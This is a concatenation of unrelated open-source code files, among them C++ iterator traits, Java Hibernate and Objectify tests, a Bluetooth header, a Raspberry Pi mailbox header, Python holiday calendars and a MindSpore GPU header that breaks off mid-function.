Alignment>& iter, deIntptr offs) { return PoolArrayIterator<T, Alignment>(iter.getArray(), iter.getNdx()-offs); } template<typename T, deUint32 Alignment> deIntptr operator- (const PoolArrayIterator<T, Alignment>& iter, const PoolArrayIterator<T, Alignment>& other) { return iter.getNdx()-other.getNdx(); } } // de // std::iterator_traits specializations namespace std { template<typename T, deUint32 Alignment> struct iterator_traits<de::PoolArrayConstIterator<T, Alignment> > { typedef deIntptr difference_type; typedef T value_type; typedef const T* pointer; typedef const T& reference; typedef random_access_iterator_tag iterator_category; }; template<typename T, deUint32 Alignment> struct iterator_traits<de::PoolArrayIterator<T, Alignment> > { typedef deIntptr difference_type; typedef T value_type; typedef T* pointer; typedef T& reference; typedef random_access_iterator_tag iterator_category; }; } // std #endif // _DEPOOLARRAY_HPP
7,243
2,211
// Copyright (c) 2013 Intel Corporation. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/public/browser/browser_thread.h" #include "content/public/test/browser_test_utils.h" #include "content/public/test/test_utils.h" #include "xwalk/extensions/common/xwalk_extension.h" #include "xwalk/extensions/test/xwalk_extensions_test_base.h" #include "xwalk/runtime/browser/runtime.h" #include "xwalk/test/base/xwalk_test_utils.h" using namespace xwalk::extensions; // NOLINT using xwalk::Runtime; const char kInProcessExtensionThread[] = "in_process_extension_thread"; const char kInProcessUIThread[] = "in_process_ui_thread"; class InProcessExtension; class InProcessExtensionInstance : public XWalkExtensionInstance { public: InProcessExtensionInstance() {} std::unique_ptr<base::Value> InRunningOnUIThread() { bool is_on_ui_thread = content::BrowserThread::CurrentlyOn(content::BrowserThread::UI); std::unique_ptr<base::ListValue> reply(new base::ListValue); reply->AppendBoolean(is_on_ui_thread); return std::move(reply); } void HandleMessage(std::unique_ptr<base::Value> msg) override { PostMessageToJS(InRunningOnUIThread()); } void HandleSyncMessage(std::unique_ptr<base::Value> msg) override { SendSyncReplyToJS(InRunningOnUIThread()); } }; class InProcessExtension : public XWalkExtension { public: explicit InProcessExtension(const char* name) { set_name(name); set_javascript_api( "var listener = null;" "extension.setMessageListener(function(msg) {" " listener(msg);" "});" "exports.isExtensionRunningOnUIThread = function(callback) {" " listener = callback;" " extension.postMessage('');" "};" "exports.syncIsExtensionRunningOnUIThread = function() {" " return extension.internal.sendSyncMessage('');" "};"); } XWalkExtensionInstance* CreateInstance() override { return new InProcessExtensionInstance(); } }; class InProcessThreadsTest : public XWalkExtensionsTestBase { public: void CreateExtensionsForUIThread( XWalkExtensionVector* extensions) override { extensions->push_back(new InProcessExtension(kInProcessUIThread)); } void CreateExtensionsForExtensionThread( XWalkExtensionVector* extensions) override { extensions->push_back(new InProcessExtension(kInProcessExtensionThread)); } }; IN_PROC_BROWSER_TEST_F(InProcessThreadsTest, InProcessThreads) { Runtime* runtime = CreateRuntime(); content::TitleWatcher title_watcher(runtime->web_contents(), kPassString); title_watcher.AlsoWaitForTitle(kFailString); GURL url = GetExtensionsTestURL(base::FilePath(), base::FilePath().AppendASCII("in_process_threads.html")); xwalk_test_utils::NavigateToURL(runtime, url); EXPECT_EQ(kPassString, title_watcher.WaitAndGetTitle()); }
997
613
#define RNG pcg64_c32 #define TWO_ARG_INIT 1 #define AWKWARD_128BIT_CODE 1 #include "pcg-test-noadvance.cpp"
51
777
/* * Copyright © 2015 <NAME> (<EMAIL>) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package guru.nidi.graphviz.attribute; import javax.annotation.Nullable; import java.util.Objects; public final class EndLabel extends SimpleLabel implements Attributes<ForLink> { private final String key; @Nullable private final Double angle; @Nullable private final Double distance; private EndLabel(String key, String value, boolean html, @Nullable Double angle, @Nullable Double distance) { super(value, html); this.key = key; this.angle = angle; this.distance = distance; } public static EndLabel head(SimpleLabel label, @Nullable Double angle, @Nullable Double distance) { return new EndLabel("headlabel", label.value, label.html, angle, distance); } public static EndLabel tail(SimpleLabel label, @Nullable Double angle, @Nullable Double distance) { return new EndLabel("taillabel", label.value, label.html, angle, distance); } @Override public Attributes<? super ForLink> applyTo(MapAttributes<? super ForLink> attributes) { attributes.add(key, this); if (angle != null) { attributes.add("labelangle", angle); } if (distance != null) { attributes.add("labeldistance", distance); } return attributes; } @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } if (!super.equals(o)) { return false; } final EndLabel endLabel = (EndLabel) o; return Objects.equals(key, endLabel.key) && Objects.equals(angle, endLabel.angle) && Objects.equals(distance, endLabel.distance); } @Override public int hashCode() { return Objects.hash(super.hashCode(), key, angle, distance); } }
915
460
<filename>core/container/src/main/java/org/wildfly/swarm/container/runtime/cdi/ImplicitArchiveExtension.java /** * Copyright 2015-2017 Red Hat, Inc, and individual contributors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.wildfly.swarm.container.runtime.cdi; import java.lang.annotation.Annotation; import java.lang.reflect.Type; import java.util.HashSet; import java.util.Set; import javax.enterprise.event.Observes; import javax.enterprise.inject.Default; import javax.enterprise.inject.spi.BeanAttributes; import javax.enterprise.inject.spi.BeanManager; import javax.enterprise.inject.spi.Extension; import javax.enterprise.inject.spi.ProcessBeanAttributes; import org.jboss.shrinkwrap.api.Archive; import org.wildfly.swarm.spi.runtime.annotations.DeploymentScoped; import org.wildfly.swarm.container.runtime.ImplicitDeployment; /** * @author <NAME> */ public class ImplicitArchiveExtension implements Extension { <T> void processBeanAttributes(@Observes ProcessBeanAttributes<T> pba, BeanManager beanManager) throws Exception { final BeanAttributes<T> beanAttributes = pba.getBeanAttributes(); if (beanAttributes.getTypes().contains(Archive.class)) { if (!DeploymentScoped.class.isAssignableFrom(beanAttributes.getScope())) { pba.setBeanAttributes(new BeanAttributes<T>() { @Override public Set<Type> getTypes() { return beanAttributes.getTypes(); } @Override public Set<Annotation> getQualifiers() { Set<Annotation> qualifiers = new HashSet<>(); qualifiers.addAll(beanAttributes.getQualifiers()); qualifiers.add(ImplicitDeployment.Literal.INSTANCE); qualifiers.removeIf(e -> Default.class.isAssignableFrom(e.getClass())); return qualifiers; } @Override public Class<? extends Annotation> getScope() { return beanAttributes.getScope(); } @Override public String getName() { return beanAttributes.getName(); } @Override public Set<Class<? extends Annotation>> getStereotypes() { return beanAttributes.getStereotypes(); } @Override public boolean isAlternative() { return beanAttributes.isAlternative(); } }); } } } }
1,417
963
<filename>core/src/test/java/com/vladmihalcea/book/hpjp/hibernate/query/mapping/ResultSetMappingTest.java package com.vladmihalcea.book.hpjp.hibernate.query.mapping; import com.vladmihalcea.book.hpjp.hibernate.identifier.Identifiable; import com.vladmihalcea.book.hpjp.util.AbstractOracleIntegrationTest; import com.vladmihalcea.book.hpjp.util.providers.Database; import org.junit.Test; import javax.persistence.*; import java.sql.Timestamp; import java.time.LocalDateTime; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Properties; import java.util.stream.LongStream; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; /** * @author <NAME> */ public class ResultSetMappingTest extends AbstractOracleIntegrationTest { @Override protected Class<?>[] entities() { return new Class<?>[]{ Post.class, PostComment.class, }; } @Override protected Database database() { return Database.POSTGRESQL; } @Override protected void additionalProperties(Properties properties) { properties.put("hibernate.jdbc.batch_size", "25"); properties.put("hibernate.order_inserts", "true"); properties.put("hibernate.order_updates", "true"); } public static final int POST_COUNT = 50; public static final int COMMENT_COUNT = 5; @Override public void afterInit() { doInJPA(entityManager -> { LocalDateTime timestamp = LocalDateTime.of( 2016, 10, 9, 12, 0, 0, 0 ); LongStream.rangeClosed(1, POST_COUNT) .forEach(postId -> { Post post = new Post() .setId(postId) .setTitle( String.format( "High-Performance Java Persistence - Chapter %d", postId ) ) .setCreatedOn( Timestamp.valueOf(timestamp.plusDays(postId)) ); LongStream.rangeClosed(1, COMMENT_COUNT) .forEach(commentOffset -> { long commentId = ((postId - 1) * COMMENT_COUNT) + commentOffset; post.addComment( new PostComment() .setId(commentId) .setReview( String.format("Comment nr. %d - A must-read!", commentId) ) .setCreatedOn( Timestamp.valueOf( timestamp .plusDays(postId) .plusMinutes(commentId) ) ) ); }); entityManager.persist(post); }); }); } @Test public void testEntityResult() { doInJPA(entityManager -> { final int POST_RESULT_COUNT = 5; List<Object[]> postAndCommentList = entityManager .createNamedQuery("PostWithCommentByRank") .setParameter("titlePattern", "High-Performance Java Persistence %") .setParameter("rank", POST_RESULT_COUNT) .getResultList(); assertEquals(POST_RESULT_COUNT * COMMENT_COUNT, postAndCommentList.size()); for (int i = 0; i < COMMENT_COUNT; i++) { Post post = (Post) postAndCommentList.get(i)[0]; PostComment comment = (PostComment) postAndCommentList.get(i)[1]; assertTrue(entityManager.contains(post)); assertTrue(entityManager.contains(comment)); assertEquals( "High-Performance Java Persistence - Chapter 1", post.getTitle() ); assertEquals( String.format( "Comment nr. %d - A must-read!", i + 1 ), comment.getReview() ); } }); } @Test public void testConstructorResult() { doInJPA(entityManager -> { final int POST_RESULT_COUNT = 5; List<PostTitleWithCommentCount> postTitleAndCommentCountList = entityManager .createNamedQuery("PostTitleWithCommentCount") .setMaxResults(POST_RESULT_COUNT) .getResultList(); assertEquals(POST_RESULT_COUNT, postTitleAndCommentCountList.size()); for (int i = 0; i < POST_RESULT_COUNT; i++) { PostTitleWithCommentCount postTitleWithCommentCount = postTitleAndCommentCountList.get(i); assertEquals( String.format( "High-Performance Java Persistence - Chapter %d", i + 1 ), postTitleWithCommentCount.getPostTitle() ); assertEquals(COMMENT_COUNT, postTitleWithCommentCount.getCommentCount()); } }); } @Test public void testColumnResult() { doInJPA(entityManager -> { final int POST_RESULT_COUNT = 5; List<Object[]> postWithCommentCountList = entityManager .createNamedQuery("PostWithCommentCount") .setMaxResults(POST_RESULT_COUNT) .getResultList(); assertEquals(POST_RESULT_COUNT, postWithCommentCountList.size()); for (int i = 0; i < POST_RESULT_COUNT; i++) { Post post = (Post) postWithCommentCountList.get(i)[0]; int commentCount = (int) postWithCommentCountList.get(i)[1]; assertTrue(entityManager.contains(post)); assertEquals(i + 1, post.getId().intValue()); assertEquals( String.format( "High-Performance Java Persistence - Chapter %d", i + 1 ), post.getTitle() ); assertEquals(COMMENT_COUNT, commentCount); } }); } @Entity(name = "Post") @Table(name = "post") @NamedNativeQuery( name = "PostWithCommentByRank", query = """ SELECT * FROM ( SELECT *, DENSE_RANK() OVER ( ORDER BY "p.created_on", "p.id" ) rank FROM ( SELECT p.id AS "p.id", p.created_on AS "p.created_on", p.title AS "p.title", pc.post_id AS "pc.post_id", pc.id as "pc.id", pc.created_on AS "pc.created_on", pc.review AS "pc.review" FROM post p LEFT JOIN post_comment pc ON p.id = pc.post_id WHERE p.title LIKE :titlePattern ORDER BY p.created_on ) p_pc ) p_pc_r WHERE p_pc_r.rank <= :rank """, resultSetMapping = "PostWithCommentByRankMapping" ) @SqlResultSetMapping( name = "PostWithCommentByRankMapping", entities = { @EntityResult( entityClass = Post.class, fields = { @FieldResult(name = "id", column = "p.id"), @FieldResult(name = "createdOn", column = "p.created_on"), @FieldResult(name = "title", column = "p.title"), } ), @EntityResult( entityClass = PostComment.class, fields = { @FieldResult(name = "id", column = "pc.id"), @FieldResult(name = "createdOn", column = "pc.created_on"), @FieldResult(name = "review", column = "pc.review"), @FieldResult(name = "post", column = "pc.post_id"), } ) } ) @NamedNativeQuery( name = "PostTitleWithCommentCount", query = """ SELECT p.id AS "p.id", p.title AS "p.title", COUNT(pc.*) AS "comment_count" FROM post_comment pc LEFT JOIN post p ON p.id = pc.post_id GROUP BY p.id, p.title ORDER BY p.id """, resultSetMapping = "PostTitleWithCommentCountMapping" ) @SqlResultSetMapping( name = "PostTitleWithCommentCountMapping", classes = { @ConstructorResult( columns = { @ColumnResult(name = "p.title"), @ColumnResult(name = "comment_count", type = int.class) }, targetClass = PostTitleWithCommentCount.class ) } ) @NamedNativeQuery( name = "PostWithCommentCount", query = """ SELECT p.id AS "p.id", p.title AS "p.title", p.created_on AS "p.created_on", COUNT(pc.*) AS "comment_count" FROM post_comment pc LEFT JOIN post p ON p.id = pc.post_id GROUP BY p.id, p.title ORDER BY p.id """, resultSetMapping = "PostWithCommentCountMapping" ) @SqlResultSetMapping( name = "PostWithCommentCountMapping", entities = @EntityResult( entityClass = Post.class, fields = { @FieldResult(name = "id", column = "p.id"), @FieldResult(name = "createdOn", column = "p.created_on"), @FieldResult(name = "title", column = "p.title"), } ), columns = @ColumnResult( name = "comment_count", type = int.class ) ) public static class Post implements Identifiable<Long> { @Id private Long id; private String title; @Column(name = "created_on") private Timestamp createdOn; @OneToMany(mappedBy = "post", cascade = CascadeType.ALL, orphanRemoval = true) private List<PostComment> comments = new ArrayList<>(); public Long getId() { return id; } public Post setId(Long id) { this.id = id; return this; } public String getTitle() { return title; } public Post setTitle(String title) { this.title = title; return this; } public Date getCreatedOn() { return createdOn; } public Post setCreatedOn(Timestamp createdOn) { this.createdOn = createdOn; return this; } public List<PostComment> getComments() { return comments; } public Post setComments(List<PostComment> comments) { this.comments = comments; return this; } public void addComment(PostComment comment) { comments.add(comment); comment.setPost(this); } public void removeComment(PostComment comment) { comments.remove(comment); comment.setPost(null); } } @Entity(name = "PostComment") @Table(name = "post_comment") public static class PostComment implements Identifiable<Long> { @Id private Long id; @ManyToOne private Post post; private String review; @Column(name = "created_on") private Timestamp createdOn; public Long getId() { return id; } public PostComment setId(Long id) { this.id = id; return this; } public Post getPost() { return post; } public PostComment setPost(Post post) { this.post = post; return this; } public String getReview() { return review; } public PostComment setReview(String review) { this.review = review; return this; } public Date getCreatedOn() { return createdOn; } public PostComment setCreatedOn(Timestamp createdOn) { this.createdOn = createdOn; return this; } } public static class PostTitleWithCommentCount { private final String postTitle; private final int commentCount; public PostTitleWithCommentCount( String postTitle, int commentCount) { this.postTitle = postTitle; this.commentCount = commentCount; } public String getPostTitle() { return postTitle; } public int getCommentCount() { return commentCount; } } }
6,942
765
//===-- GDBRemoteTestUtils.cpp ----------------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "GDBRemoteTestUtils.h" #include "lldb/Host/Socket.h" #include "llvm/Testing/Support/Error.h" namespace lldb_private { namespace process_gdb_remote { void GDBRemoteTest::SetUpTestCase() { ASSERT_THAT_ERROR(Socket::Initialize(), llvm::Succeeded()); } void GDBRemoteTest::TearDownTestCase() { Socket::Terminate(); } } // namespace process_gdb_remote } // namespace lldb_private
237
416
/* * @file CBManager.h * @framework CoreBluetooth * * @discussion Entry point to the central role. * * @copyright 2016 Apple, Inc. All rights reserved. */ #import <CoreBluetooth/CBDefines.h> #import <Foundation/Foundation.h> NS_CLASS_AVAILABLE(N_A, 10_0) CB_EXTERN_CLASS @interface CBManager : NSObject - (instancetype)init NS_UNAVAILABLE; /*! * @enum CBManagerState * * @discussion Represents the current state of a CBManager. * * @constant CBManagerStateUnknown State unknown, update imminent. * @constant CBManagerStateResetting The connection with the system service was momentarily lost, update imminent. * @constant CBManagerStateUnsupported The platform doesn't support the Bluetooth Low Energy Central/Client role. * @constant CBManagerStateUnauthorized The application is not authorized to use the Bluetooth Low Energy role. * @constant CBManagerStatePoweredOff Bluetooth is currently powered off. * @constant CBManagerStatePoweredOn Bluetooth is currently powered on and available to use. * */ typedef NS_ENUM(NSInteger, CBManagerState) { CBManagerStateUnknown = 0, CBManagerStateResetting, CBManagerStateUnsupported, CBManagerStateUnauthorized, CBManagerStatePoweredOff, CBManagerStatePoweredOn, } NS_ENUM_AVAILABLE(NA, 10_0); /*! * @property state * * @discussion The current state of the manager, initially set to <code>CBManagerStateUnknown</code>. * Updates are provided by required delegate method {@link managerDidUpdateState:}. * */ @property(nonatomic, assign, readonly) CBManagerState state; @end
492
348
<gh_stars>100-1000 {"nom":"Noyal-Châtillon-sur-Seiche","circ":"1ère circonscription","dpt":"Ille-et-Vilaine","inscrits":4934,"abs":2160,"votants":2774,"blancs":32,"nuls":19,"exp":2723,"res":[{"nuance":"REM","nom":"<NAME>","voix":915},{"nuance":"UDI","nom":"<NAME>","voix":584},{"nuance":"SOC","nom":"Mme <NAME>","voix":350},{"nuance":"FI","nom":"M. <NAME>","voix":335},{"nuance":"FN","nom":"<NAME>","voix":188},{"nuance":"ECO","nom":"<NAME>","voix":117},{"nuance":"DIV","nom":"Mme <NAME>","voix":49},{"nuance":"COM","nom":"M. <NAME>","voix":40},{"nuance":"DVD","nom":"M. <NAME>","voix":32},{"nuance":"ECO","nom":"<NAME>","voix":31},{"nuance":"DVG","nom":"<NAME>","voix":27},{"nuance":"DIV","nom":"Mme <NAME>","voix":15},{"nuance":"REG","nom":"Mme <NAME>","voix":15},{"nuance":"EXG","nom":"Mme <NAME>","voix":10},{"nuance":"ECO","nom":"M. <NAME>","voix":9},{"nuance":"ECO","nom":"<NAME>","voix":6},{"nuance":"DIV","nom":"<NAME>","voix":0}]}
381
629
<reponame>PeterWofford/astrobee /* Copyright (c) 2017, United States Government, as represented by the * Administrator of the National Aeronautics and Space Administration. * * All rights reserved. * * The Astrobee platform is licensed under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ #include "dds_ros_bridge/ros_compressed_file_ack.h" namespace rea = rapid::ext::astrobee; ff::RosCompressedFileAckToRapid::RosCompressedFileAckToRapid( const std::string& subscribe_topic, const std::string& pub_topic, const ros::NodeHandle &nh, const unsigned int queue_size) : RosSubRapidPub(subscribe_topic, pub_topic, nh, queue_size) { state_supplier_.reset( new ff::RosCompressedFileAckToRapid::Supplier( rapid::ext::astrobee::COMPRESSED_FILE_ACK_TOPIC + pub_topic, "", "AstrobeeCompressedFileAckProfile", "")); sub_ = nh_.subscribe(subscribe_topic, queue_size, &RosCompressedFileAckToRapid::Callback, this); rapid::RapidHelper::initHeader(state_supplier_->event().hdr); } void ff::RosCompressedFileAckToRapid::Callback( const ff_msgs::CompressedFileAck::ConstPtr& ack) { rea::CompressedFileAck &msg = state_supplier_->event(); msg.hdr.timeStamp = util::RosTime2RapidTime(ack->header.stamp); msg.id = ack->id; state_supplier_->sendEvent(); }
849
582
<reponame>oalbader/moduliths<filename>moduliths-sample/src/test/java/com/acme/myproject/moduleB/ModuleBTest.java /* * Copyright 2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.acme.myproject.moduleB; import static org.assertj.core.api.Assertions.*; import org.junit.jupiter.api.Nested; import org.junit.jupiter.api.Test; import org.mockito.internal.creation.bytebuddy.MockAccess; import org.moduliths.test.ModuleTest.BootstrapMode; import org.moduliths.test.TestUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.autoconfigure.AutoConfigurationPackages; import org.springframework.boot.test.mock.mockito.MockBean; import org.springframework.context.ApplicationContext; import com.acme.myproject.NonVerifyingModuleTest; import com.acme.myproject.moduleA.ServiceComponentA; import com.acme.myproject.moduleB.internal.InternalComponentB; /** * @author <NAME> */ class ModuleBTest { @Nested static class WithoutMocksTest { @Autowired ServiceComponentB serviceComponentB; @NonVerifyingModuleTest static class Config {} @Test void failsToStartBecauseServiceComponentAIsMissing() throws Exception { TestUtils.assertDependencyMissing(WithoutMocksTest.Config.class, ServiceComponentA.class); } } @Nested @NonVerifyingModuleTest static class WithMocksTest { @Autowired ApplicationContext context; @MockBean ServiceComponentA serviceComponentA; @Test void bootstrapsModuleB() { context.getBean(ServiceComponentB.class); assertThat(context.getBean(ServiceComponentA.class)).isInstanceOf(MockAccess.class); } @Test void considersNestedPackagePartOfTheModuleByDefault() { context.getBean(InternalComponentB.class); } @Test // #4 void tweaksAutoConfigurationPackageToModulePackage() { assertThat(AutoConfigurationPackages.get(context)) // .containsExactly(getClass().getPackage().getName()); } } @Nested @NonVerifyingModuleTest(BootstrapMode.DIRECT_DEPENDENCIES) static class WithUpstreamModuleTest { @Autowired ServiceComponentA componentA; @Autowired ServiceComponentB componentB; @Test void bootstrapsContext() {} } }
860
6,390
{ "templates": [], "start_urls": [ "http://www.seedsofchange.com/garden_center/browse_category.aspx?id=123" ], "exclude_patterns": [ "/tellafriend.aspx.+" ], "follow_patterns": [ "/garden_center/browse_category.aspx.+", "/garden_center/detailedCategoryDisplay.aspx.+", "/garden_center/product_details.aspx.+" ], "links_to_follow": "patterns", "respect_nofollow": true }
217
5,169
{ "name": "TBAPIClient", "version": "0.1.0", "summary": "Lightweight API Client", "description": "\"A lightweight API Client that leverages the use of Swift's Decodable and automatically returns objects in predefined types.\"", "homepage": "https://github.com/kalafun/TBAPIClient", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "<NAME>": "<EMAIL>" }, "source": { "git": "https://github.com/kalafun/TBAPIClient.git", "tag": "0.1.0" }, "platforms": { "ios": "8.0" }, "source_files": "TBAPIClient/Classes/*", "swift_versions": "5", "swift_version": "5" }
260
903
package org.develnext.jphp.zend.ext.standard; import php.runtime.ext.support.compile.ConstantsContainer; public class LangConstants extends ConstantsContainer { }
51
405
<gh_stars>100-1000 from ..core import IslamicCalendar from ..registry_tools import iso_register @iso_register('QA') class Qatar(IslamicCalendar): "Qatar" include_new_years_day = False FIXED_HOLIDAYS = ( (12, 18, "National Day"), ) include_start_ramadan = True include_eid_al_fitr = True length_eid_al_fitr = 4 include_eid_al_adha = True length_eid_al_adha = 4
175
719
/* */ package com.googlecode.objectify.test; import com.googlecode.objectify.annotation.Cache; import com.googlecode.objectify.annotation.Entity; import com.googlecode.objectify.annotation.Id; import com.googlecode.objectify.impl.translate.opt.joda.JodaTimeTranslators; import com.googlecode.objectify.test.util.TestBase; import lombok.Data; import org.joda.time.DateTime; import org.joda.time.DateTimeZone; import org.joda.time.LocalDate; import org.joda.time.LocalDateTime; import org.joda.time.LocalTime; import org.joda.time.YearMonth; import org.junit.jupiter.api.Test; import static com.google.common.truth.Truth.assertThat; import static com.googlecode.objectify.ObjectifyService.factory; /** * Tests of type conversions. * * @author <NAME> <<EMAIL>> */ class JodaTranslationTests extends TestBase { /** */ @Entity @Cache @Data private static class HasJoda { private @Id Long id; private LocalTime localTime; private LocalDate localDate; private LocalDateTime localDateTime; private DateTime dateTime; private DateTimeZone dateTimeZone; private YearMonth yearMonth; } /** */ @Test void joda() throws Exception { JodaTimeTranslators.add(factory()); factory().register(HasJoda.class); final HasJoda hj = new HasJoda(); hj.localTime = new LocalTime(); hj.localDate = new LocalDate(); hj.localDateTime = new LocalDateTime(); hj.dateTime = new DateTime(); hj.dateTimeZone = DateTimeZone.forID("America/Los_Angeles"); hj.yearMonth = new YearMonth(); final HasJoda fetched = saveClearLoad(hj); assertThat(fetched).isEqualTo(hj); } }
624
590
<reponame>HareGun/xboot #ifndef __BCM2836_MBOX_H__ #define __BCM2836_MBOX_H__ #ifdef __cplusplus extern "C" { #endif #include <stdint.h> /* Mbox videocore */ int bcm2836_mbox_vc_get_firmware_revison(void); /* Mbox hardware */ int bcm2836_mbox_hardware_get_model(void); int bcm2836_mbox_hardware_get_revison(void); int bcm2836_mbox_hardware_get_mac_address(uint8_t * mac); int bcm2836_mbox_hardware_get_serial(uint64_t * sn); int bcm2836_mbox_hardware_get_arm_memory(uint32_t * base, uint32_t * size); int bcm2836_mbox_hardware_get_vc_memory(uint32_t * base, uint32_t * size); /* Mbox clock */ enum { MBOX_CLOCK_ID_EMMC = 1, MBOX_CLOCK_ID_UART = 2, MBOX_CLOCK_ID_ARM = 3, MBOX_CLOCK_ID_CORE = 4, MBOX_CLOCK_ID_V3D = 5, MBOX_CLOCK_ID_H264 = 6, MBOX_CLOCK_ID_ISP = 7, MBOX_CLOCK_ID_SDRAM = 8, MBOX_CLOCK_ID_PIXEL = 9, MBOX_CLOCK_ID_PWM = 10, }; int bcm2836_mbox_clock_get_turbo(void); int bcm2836_mbox_clock_set_turbo(int level); int bcm2836_mbox_clock_get_state(int id); int bcm2836_mbox_clock_set_state(int id, int state); int bcm2836_mbox_clock_get_rate(int id); int bcm2836_mbox_clock_set_rate(int id, int rate); int bcm2836_mbox_clock_get_max_rate(int id); int bcm2836_mbox_clock_get_min_rate(int id); /* Mbox power */ enum { MBOX_POWER_ID_SDCARD = 0, MBOX_POWER_ID_UART0 = 1, MBOX_POWER_ID_UART1 = 2, MBOX_POWER_ID_USBHCD = 3, MBOX_POWER_ID_I2C0 = 4, MBOX_POWER_ID_I2C1 = 5, MBOX_POWER_ID_I2C2 = 6, MBOX_POWER_ID_SPI = 7, MBOX_POWER_ID_CCP2TX = 8, }; int bcm2836_mbox_power_get_state(int id); int bcm2836_mbox_power_set_state(int id, int state); /* Mbox temperature */ int bcm2836_mbox_temp_get(void); int bcm2836_mbox_temp_get_max(void); /* Mbox framebuffer */ uint32_t bcm2836_mbox_fb_get_gpiovirt(void); void * bcm2836_mbox_fb_alloc(int width, int height, int bpp, int nrender); int bcm2836_mbox_fb_present(int xoffset, int yoffset); #ifdef __cplusplus } #endif #endif /* __BCM2836_MBOX_H__ */
1,061
2,151
<filename>buildSrc/src/main/groovy/org/mockito/release/git/GitTool.java<gh_stars>1000+ package org.mockito.release.git; /** * Git operations */ public interface GitTool { /** * Configures local git author by name and email. * Returns an object that can be used to restore the author to original value. */ GitAuthor setAuthor(String name, String email); }
119
335
{ "word": "Hikikomori", "definitions": [ "reclusive adolescents or adults who withdraw from social life, often seeking extreme degrees of isolation and confinement.", "modern-day hermits" ], "parts-of-speech": "Adjective" }
91
343
#ifndef ARRAY2_UTILS_H #define ARRAY2_UTILS_H #include "vec.h" #include "array2.h" #include "../utils/util.h" template<class S, class T> T interpolate_value(const Vec<2,S>& point, const Array2<T, Array1<T> >& grid) { int i,j; S fx,fy; get_barycentric(point[0], i, fx, 0, grid.ni); get_barycentric(point[1], j, fy, 0, grid.nj); return bilerp( grid(i,j), grid(i+1,j), grid(i,j+1), grid(i+1,j+1), fx, fy); } template<class S, class T> float interpolate_gradient(Vec<2,T>& gradient, const Vec<2,S>& point, const Array2<T, Array1<float> >& grid) { int i,j; S fx,fy; get_barycentric(point[0], i, fx, 0, grid.ni); get_barycentric(point[1], j, fy, 0, grid.nj); T v00 = grid(i,j); T v01 = grid(i,j+1); T v10 = grid(i+1,j); T v11 = grid(i+1,j+1); T ddy0 = (v01 - v00); T ddy1 = (v11 - v10); T ddx0 = (v10 - v00); T ddx1 = (v11 - v01); gradient[0] = lerp(ddx0,ddx1,fy); gradient[1] = lerp(ddy0,ddy1,fx); //may as well return value too return bilerp(v00, v10, v01, v11, fx, fy); } template<class T> void write_matlab_array(std::ostream &output, Array2<T, Array1<T> >&a, const char *variable_name, bool transpose=false) { output<<variable_name<<"=["; for(int j = 0; j < a.nj; ++j) { for(int i = 0; i < a.ni; ++i) { output<<a(i,j)<<" "; } output<<";"; } output<<"]"; if(transpose) output<<"'"; output<<";"<<std::endl; } #endif
754
1,350
""" Module implementing postprocessing defences against adversarial attacks. """ from art.defences.postprocessor.class_labels import ClassLabels from art.defences.postprocessor.gaussian_noise import GaussianNoise from art.defences.postprocessor.high_confidence import HighConfidence from art.defences.postprocessor.postprocessor import Postprocessor from art.defences.postprocessor.reverse_sigmoid import ReverseSigmoid from art.defences.postprocessor.rounded import Rounded
119
3,200
<reponame>PowerOlive/mindspore<filename>mindspore/lite/examples/runtime_gpu_extend/src/custom_common.h /** * Copyright 2021 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef MINDSPORE_LITE_EXAMPLES_RUNTIME_GPU_EXTEND_SRC_CUSTOM_COMMON_H #define MINDSPORE_LITE_EXAMPLES_RUNTIME_GPU_EXTEND_SRC_CUSTOM_COMMON_H #include <arm_neon.h> #include <vector> #include <iostream> #include "include/api/types.h" #include "include/errorcode.h" #include "include/ms_tensor.h" #include "include/api/data_type.h" #include "include/registry/opencl_runtime_wrapper.h" #define UP_DIV(x, y) (((x) + (y) - (1)) / (y)) #define C4NUM 4 namespace mindspore { namespace custom_common { template <typename SrcT, typename DstT> void Broadcast2GpuShape(DstT *dst, const SrcT *src, int src_num) { if (src == nullptr || src_num <= 0) { return; } auto *N = dst; auto *H = dst + 1; auto *W = dst + 2; auto *C = dst + 3; if (src_num == 1) { // 1 1 1 